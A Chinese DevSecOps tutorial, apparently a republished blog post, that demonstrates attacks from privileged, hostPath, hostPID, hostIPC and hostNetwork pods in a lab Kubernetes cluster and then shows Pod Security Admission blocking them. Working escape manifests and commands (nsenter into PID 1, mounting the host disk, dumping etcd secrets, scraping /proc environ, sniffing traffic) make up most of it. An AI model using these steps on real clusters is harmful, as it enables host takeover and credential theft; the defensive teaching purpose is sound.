《OpenShift / RHEL / DevSecOps 匯總目錄》
通過將運(yùn)行 Pod 的 privileged 設(shè)為 true,容器就以特權(quán)模式運(yùn)行在宿主機(jī)上。和普通容器相比,特權(quán)容器具有非常大的權(quán)限和能力。
- 容器被賦予所有能力
- 不屏蔽敏感路徑,例如 sysfs 中的 kernel 模塊 within
- Any sysfs and procfs mounts are mounted RW
- AppArmor 保護(hù)不生效
- Seccomp 限制不生效
- cgroup 不限制訪問任何設(shè)備
- 所有宿主機(jī)的設(shè)備都可以在容器中訪問
- SELinux 限制不生效
本文將演示如何利用在 Kubernetes 中容器的 privileged、hostpath、hostpid、hostipc、hostnetwork 配置實(shí)現(xiàn)對(duì)容器或宿主機(jī)的攻擊,包括獲得敏感數(shù)據(jù)、殺掉關(guān)鍵進(jìn)程等。
- privileged: 控制容器是否具有特權(quán),特權(quán)容器擁有宿主機(jī)上的所有操作權(quán)限,可以訪問宿主機(jī)上的所有設(shè)備。
- hostpath: 將宿主機(jī)的指定目錄掛載到容器中,這樣就可以從容器中訪問宿主機(jī)的指定目錄。
- hostpid:控制從容器中是否可以查看宿主機(jī)的進(jìn)程信息。
- hostipc:控制從容器中是否可以查看宿主機(jī)的 IPC 信息。
- hostnetwork:控制容器是否直接使用并運(yùn)行在宿主機(jī)的網(wǎng)絡(luò)上。
準(zhǔn)備環(huán)境
由于 OpenShift 缺省自帶較高的安全防護(hù),因此為了容易演示相關(guān)場景,本文沒有采用 OpenShift 而使用的是 killercoda 網(wǎng)站的免費(fèi) Kubernetes 環(huán)境。
- 執(zhí)行命令可以看到該環(huán)境的 Kubernetes 集群有 2 個(gè)節(jié)點(diǎn)。另外從提示符可以看到當(dāng)前是在 controlplane 節(jié)點(diǎn)所在的 Linux 操作系統(tǒng)上。
$ kubectl get node -owide
NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
controlplane Ready control-plane 41d v1.28.1 172.30.1.2 <none> Ubuntu 20.04.5 LTS 5.4.0-131-generic containerd://1.6.12
node01 Ready <none> 41d v1.28.1 172.30.2.2 <none> Ubuntu 20.04.5 LTS 5.4.0-131-generic containerd://1.6.12
- 創(chuàng)建新的 Namespace,并確認(rèn)標(biāo)簽?zāi)J(rèn)沒有 “pod-security.kubernetes.io” 相關(guān)內(nèi)容。
$ kubectl create namespace pod-security
$ kubectl config set-context --current --namespace=pod-security
- 為了后面的測試,我們?cè)诩褐袆?chuàng)建一個(gè)被攻擊的 Secret 以及一個(gè)驗(yàn)證目錄 test。
$ kubectl create secret generic my-secret \
--from-literal=username=myadmin \
--from-literal=password='mypass'
$ mkdir /test && ls /
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys test tmp usr var
利用特權(quán)配置對(duì)Kubernetes容器攻擊
privileged + hostpid
當(dāng) privileged 設(shè)為 true 時(shí)容器會(huì)以特權(quán)運(yùn)行,而 hostPID 設(shè)置為 true 后就可以在 pod 中看宿主機(jī)的所有 pid 進(jìn)程,并允許進(jìn)入這些進(jìn)程的命名空間。
- 執(zhí)行以下命令創(chuàng)建 Pod。根據(jù)配置可知該 Pod 將運(yùn)行在 controlplane 節(jié)點(diǎn),并從該 Pod 進(jìn)入屬于宿主機(jī)的 init system (PID 1 進(jìn)程) ,從而能訪問宿主機(jī)文件系統(tǒng)并在宿主機(jī)上執(zhí)行命令。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: priv-hostpid-pod
spec:
hostPID: true
containers:
- name: priv-hostpid
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
nodeName: controlplane
EOF
- 確認(rèn) Pod 運(yùn)行后可直接獲取到保存在 Kubernetes 集群未加密的 ETCD 數(shù)據(jù)庫中的 Secret 數(shù)據(jù)。
$ kubectl get pod priv-hostpid-pod
NAME READY STATUS RESTARTS AGE
priv-hostpid-pod 1/1 Running 0 47s
$ kubectl exec -it priv-hostpid-pod -- strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secret
my-secret
default"
*$e4c9c62d-0cb2-4d81-ba0c-c23c0b3b9bc92
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
privileged
當(dāng) privileged 設(shè)為 true 時(shí)容器會(huì)以特權(quán)運(yùn)行,這樣可以從容器中訪問宿主機(jī)的任何設(shè)備。
- 執(zhí)行命令運(yùn)行具有特權(quán)的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: priv-pod
spec:
containers:
- name: priv
image: redhat/ubi8-init
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: controlplane
EOF
- 進(jìn)入運(yùn)行的 priv-pod,然后安裝 strings 工具。
$ kubectl get pod priv-pod
NAME READY STATUS RESTARTS AGE
priv-pod 1/1 Running 0 66s
$ kubectl exec -it priv-pod -- bash
[root@priv-pod /]# yum install binutils
- 執(zhí)行命令查看分區(qū),其中 /dev/vda1 為代表宿主機(jī)存儲(chǔ)的設(shè)備。
[root@priv-pod /]# fdisk -l
。。。
Device Start End Sectors Size Type
/dev/vda1 227328 41943006 41715679 19.9G Linux filesystem
/dev/vda14 2048 10239 8192 4M BIOS boot
/dev/vda15 10240 227327 217088 106M EFI System
Partition table entries are not in disk order.
- 將 /dev/vda1 掛在到容器的 /host 目錄下,確認(rèn)可以看到宿主機(jī)的 test 驗(yàn)證目錄。
[root@priv-pod /]# mkdir /host
[root@priv-pod /]# mount /dev/vda1 /host/
[root@priv-pod /]# ls /host
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys test tmp usr var
- 確認(rèn)可以獲得宿主機(jī)上未加密 ETCD 數(shù)據(jù)庫中的 Secret 敏感數(shù)據(jù)。
[root@priv-pod /]# chroot /host
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secret
my-secret
default"
*$054abb91-a986-4835-91f6-7ee0bbb0c4f52
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
hostpath
通過 hostpath 也可以將宿主機(jī)的 “/” 目錄掛載到的 pod 中,從而獲得宿主機(jī)文件系統(tǒng)的讀/寫權(quán)限。如果容器是運(yùn)行在 master 節(jié)點(diǎn)上,則可訪問 master 宿主機(jī)上未加密 ETCD 數(shù)據(jù)庫中的敏感信息。
- 執(zhí)行命令運(yùn)行具有 hostpath 特性的 Pod,它將掛載宿主機(jī)的 / 目錄。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostpath-pod
spec:
containers:
- name: hostpath
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: controlplane
volumes:
- name: noderoot
hostPath:
path: /
EOF
- 進(jìn)入 Pod 并切換到宿主機(jī)目錄,確認(rèn)可以看到 test 驗(yàn)證目錄。
$ kubectl exec -it hostpath-pod -- chroot /host
# ls /
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys test tmp usr var
- 確認(rèn)可以獲得宿主機(jī)上未加密 ETCD 數(shù)據(jù)庫中的 Secret 敏感數(shù)據(jù)。
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secret
my-secret
default"
*$7cc91580-3550-4732-8f35-75125e7978002
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
hostpid
當(dāng) Pod 的 hostpid 設(shè)為 true 后就可以在容器中不但可以看到所有宿主機(jī)的進(jìn)程,還包括在 pod 中運(yùn)行的進(jìn)程以及 pod 的環(huán)境變量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在這些文件中獲取到 Pod 使用的 Secret 敏感數(shù)據(jù)。另外,還可以通過 kill 進(jìn)程來危害 Kubernetes 集群的運(yùn)行。
- 執(zhí)行命令運(yùn)行具有 hostpid 特性的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostpid-pod
spec:
hostPID: true
containers:
- name: hostpid
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: node01
EOF
- 再運(yùn)行另一個(gè)使用測試 Secret 的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: mypasswd
spec:
containers:
- name: mysql
image: busybox
command: ['sh', '-c', 'echo "Hello, Kubernetes!" && sleep 1000']
env:
- name: MY_PASSWORD
valueFrom:
secretKeyRef:
name: my-secret
key: password
nodeName: node01
EOF
- 確認(rèn) 2 個(gè) Pod 都在運(yùn)行。
$ kubectl get pod hostpid-pod mypasswd-pod -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
hostpid-pod 1/1 Running 0 2m32s 192.168.1.3 node01 <none> <none>
mypasswd 1/1 Running 0 72s 192.168.1.4 node01 <none> <none>
- 進(jìn)入 hostpid-pod 的 Pod,然后確認(rèn)可以在 /proc/*/environ 中查找到 MY_PASSWORD 關(guān)鍵字和對(duì)應(yīng)的內(nèi)容。
$ kubectl exec -it hostpid-pod -- bash
root@hostpid-pod:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-pod:/# cat envs.txt | grep MY_PASSWORD
MY_PASSWORD=mypass
hostipc
當(dāng) Pod 的 hostpid 設(shè)為 true 后就可以在容器中訪問到宿主機(jī) IPC 命名空間,利用 IPC 可以訪問到保存在宿主機(jī)共享內(nèi)存中的數(shù)據(jù)。
- 執(zhí)行命令運(yùn)行 2 個(gè)具有 hostipc 特性的 Pod,其中一個(gè)用來作為攻擊環(huán)境,另一個(gè)為被攻擊環(huán)境。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostipc-pod-1
spec:
hostIPC: true
containers:
- name: hostipc
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: node01
---
apiVersion: v1
kind: Pod
metadata:
name: hostipc-pod-2
spec:
hostIPC: true
containers:
- name: hostipc
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: node01
EOF
- 確認(rèn) 2 個(gè) Pod 都已運(yùn)行。
$ kubectl get pod hostipc-pod-1 hostipc-pod-2 -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
hostipc-pod-1 1/1 Running 0 37s 192.168.1.5 node01 <none> <none>
hostipc-pod-2 1/1 Running 0 37s 192.168.1.6 node01 <none> <none>
- 先進(jìn)入 hostipc-pod-1,再將測試數(shù)據(jù)寫入 IPC 共享區(qū)。
$ kubectl exec -it hostipc-pod-1 -- bash
root@hostipc-pod-1:/# echo "secretpassword" > /dev/shm/secretpassword.txt
- 再進(jìn)入 hostipc-exec-pod-2,確認(rèn)可以通過 IPC 共享區(qū)獲取到 hostipc-exec-pod-1 寫入的測試數(shù)據(jù)。
$ kubectl exec -it hostipc-pod-2 -- more /dev/shm/secretpassword.txt
secretpassword
hostnetwork
當(dāng) Pod 的 hostnetwork 為 true 時(shí),pod 實(shí)際上用的是宿主機(jī)的網(wǎng)絡(luò)地址空間:即 pod IP 是宿主機(jī) IP,而非 cni 分配的 pod IP,端口是宿主機(jī)網(wǎng)絡(luò)監(jiān)聽接口。由于 pod 的流量與宿主機(jī)的流量無法區(qū)分,因此也就無法對(duì) Pod 應(yīng)用常規(guī)的 Kubernetes 網(wǎng)絡(luò)策略。
- 執(zhí)行命令,創(chuàng)建一個(gè)使用 hostnetwork 的 Pod 和一個(gè)普通 Deployment 及其對(duì)應(yīng)的 Service,其中 Service 運(yùn)行在節(jié)點(diǎn)的 32222 端口上。另外強(qiáng)制 2 個(gè) Pod 都運(yùn)行在 Kubernetes 集群的 node01 節(jié)點(diǎn)上。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostnetwork-pod
spec:
hostNetwork: true
containers:
- name: hostnetwork
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: node01
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx
nodeName: node01
---
apiVersion: v1
kind: Service
metadata:
name: nginx
spec:
type: NodePort
ports:
- nodePort: 32222
port: 80
selector:
app: nginx
EOF
- 查看 2 個(gè) Pod 運(yùn)行的 IP 地址,確認(rèn)普通 Pod 使用的是容器網(wǎng)段 IP 192.168.1.5,而啟用 hostnetwork 的 Pod 使用的就是 node01 宿主機(jī)節(jié)點(diǎn)的 IP 地址。
$ kubectl get pod -owide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
hostnetwork-pod 1/1 Running 0 31m 172.30.2.2 node01 <none> <none>
nginx-55d65bdfb4-lmkvr 1/1 Running 0 4m33s 192.168.1.3 node01 <none> <none>
- 確認(rèn) ningx 對(duì)應(yīng) Service 綁定的 nodeport 端口。
$ kubectl get svc nginx -ojsonpath={.spec.ports[0].nodePort}
32222
- 進(jìn)入使用 hostnetwork 的 Pod,如果沒有 tcpdump 可以安裝,然后使用 tcpdump 開始嗅探到流經(jīng) 32222 端口的 http get/post 的 request 和 response。剛開始運(yùn)行還沒有嗅探到數(shù)據(jù)。
$ kubectl exec -it hostnetwork-pod -- bash
root@node01:/# apt update && apt -y install tcpdump lsof iproute2 net-tools
root@node01:/# tcpdump -s 0 -A 'tcp dst port 32222 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
- 在一個(gè)新的終端里使用 node01 的 IP(172.30.2.2) 和 Service(32222) 綁定的 nodeport 訪問運(yùn)行在普通 Pod 中的 nginx,確認(rèn)可以訪問到頁面。
$ curl -s 172.30.2.2:32222
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
- 回到第 4 步的窗口,確認(rèn)在 hostnetwork-pod 中已經(jīng)可以嗅探到 HTML 數(shù)據(jù)。這些數(shù)據(jù)可以是敏感的業(yè)務(wù)數(shù)據(jù),或是未經(jīng)保護(hù)的密碼等數(shù)據(jù)。
15:44:04.194826 IP 10.244.4.60.40276 > 172.30.2.2.32222: Flags [P.], seq 3806426523:3806426603, ack 3523874175, win 511, options [nop,nop,TS val 2488373642 ecr 2936282096], length 80
E...p.@.<..1
..<.....T~I..u..
.............
.Q......GET / HTTP/1.1
Host: 172.30.2.2:32222
User-Agent: curl/7.68.0
Accept: */*
15:44:04.195068 IP 172.30.2.2.32222 > 10.244.4.60.40276: Flags [P.], seq 1:239, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 238
E.."|.@.?.......
..<~I.T.
....u......d.....
.....Q..HTTP/1.1 200 OK
Server: nginx/1.25.2
Date: Wed, 18 Oct 2023 15:44:04 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Tue, 15 Aug 2023 17:03:04 GMT
Connection: keep-alive
ETag: "64dbafc8-267"
Accept-Ranges: bytes
15:44:04.195283 IP 172.30.2.2.32222 > 10.244.4.60.40276: Flags [P.], seq 239:854, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 615
E...|.@.?..W....
..<~I.T.
.m..u............
.....Q..<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
為 Namespace 啟用 Pod Security Admission
- 查看 pod-security 命名空間當(dāng)前的標(biāo)簽,確認(rèn)沒有 PSA 配置。
$ kubectl get ns pod-security -ojsonpath={.metadata.labels} | jq
{
"kubernetes.io/metadata.name": "pod-security"
}
- 向 pod-security 命名空間添加標(biāo)簽,啟用 “pod-security.kubernetes.io/warn=restricted” 的 PSA 配置。
$ kubectl label --overwrite ns pod-security \
pod-security.kubernetes.io/warn=restricted \
pod-security.kubernetes.io/warn-version=latest
- 確認(rèn) pod-security 命名空間的標(biāo)簽已有 PSA 配置。
$ kubectl get ns pod-security -ojsonpath={.metadata.labels} | jq
{
"kubernetes.io/metadata.name": "pod-security",
"pod-security.kubernetes.io/warn": "restricted",
"pod-security.kubernetes.io/warn-version": "latest"
}
- 刪除 priv-pod 后重新創(chuàng)建它。
$ kubectl delete pod priv-pod
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: priv-pod
spec:
containers:
- name: priv
image: redhat/ubi8-init
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: controlplane
EOF
- 可以看到 Warning 告警提示,但是 priv-pod 還是創(chuàng)建成功。
Warning: would violate PodSecurity "restricted:latest": privileged (container "priv" must not set securityContext.privileged=true), allowPrivilegeEscalation != false (container "priv" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "priv" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "priv" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "priv" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
pod/priv-pod created
- 可以看到 priv-pod 已經(jīng)運(yùn)行。
$ kubectl get pod priv-pod
NAME READY STATUS RESTARTS AGE
priv-pod 1/1 Running 0 76s
- 執(zhí)行命令修改 pod-security 命名空間。
$ kubectl edit ns pod-security
- 將命名空間的第 2 個(gè)標(biāo)簽修改為 “pod-security.kubernetes.io/enforce”: “restricted”,然后保存退出編輯。
$ kubectl get ns pod-security -ojsonpath={.metadata.labels} | jq
{
"kubernetes.io/metadata.name": "pod-security",
"pod-security.kubernetes.io/enforce": "restricted",
"pod-security.kubernetes.io/warn-version": "latest"
}
- 刪除 priv-pod 后重新創(chuàng)建它。
$ kubectl delete pod priv-pod
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: priv-pod
spec:
containers:
- name: priv
image: redhat/ubi8-init
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: controlplane
EOF
- 可以看到 Error 錯(cuò)誤提示。
Error from server (Forbidden): error when creating "STDIN": pods "priv-pod" is forbidden: violates PodSecurity "restricted:latest": privileged (container "priv" must not set securityContext.privileged=true), allowPrivilegeEscalation != false (container "priv" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "priv" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "priv" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "priv" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
- 確認(rèn) priv-pod 沒有創(chuàng)建成功。
$ kubectl get pod priv-pod
Error from server (NotFound): pods "priv-pod" not found
視頻
part1
part2
part3文章來源:http://www.zghlxwxcb.cn/news/detail-759741.html
參考
https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
https://www.middlewareinventory.com/blog/tcpdump-capture-http-get-post-requests-apache-weblogic-websphere/
https://www.cnblogs.com/yechen2019/p/14690601.html
https://www.cnblogs.com/ericte/p/15569982.html
https://docs.starlingx.io/r/stx.7.0/security/kubernetes/pod-security-admission-controller-8e9e6994100f.html
https://kubernetes.io/docs/tutorials/security/cluster-level-pss/
https://kubernetes.io/docs/tasks/configure-pod-container/security-context/文章來源地址http://www.zghlxwxcb.cn/news/detail-759741.html
到了這里,關(guān)于容器安全 - 利用容器的特權(quán)配置實(shí)現(xiàn)對(duì)Kubernetes攻擊,以及如何使用 PSA 防范風(fēng)險(xiǎn)(視頻)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!